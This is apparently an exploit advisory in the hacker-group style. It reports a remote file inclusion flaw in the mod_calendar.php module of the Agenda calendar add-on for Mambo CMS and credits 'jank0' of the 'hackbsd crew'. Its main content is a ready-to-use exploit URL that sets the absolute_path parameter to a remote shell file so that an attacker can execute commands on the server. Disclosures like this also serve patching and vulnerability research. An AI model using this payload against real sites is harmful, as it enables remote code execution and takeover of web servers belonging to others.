####################################################################################
#Agenda - Remote File Include
------------------------------------------------------------------------------------
Description: 
A complete calendar solution with component and module part for mambo cms. The issue
is at the calendar module.
#####################
#Bug Found by: jank0
#greetz: hackbsd crew
#risk: dangerous
##this bug allows a remote atacker to execute commands via rfi

/path: ?absolute_path=

/xpl:
http://web/modules/mod_calendar.php?absolute_path=http://shell.txt


#Contact: irc.undernet.org #hackbsd & #ircmasters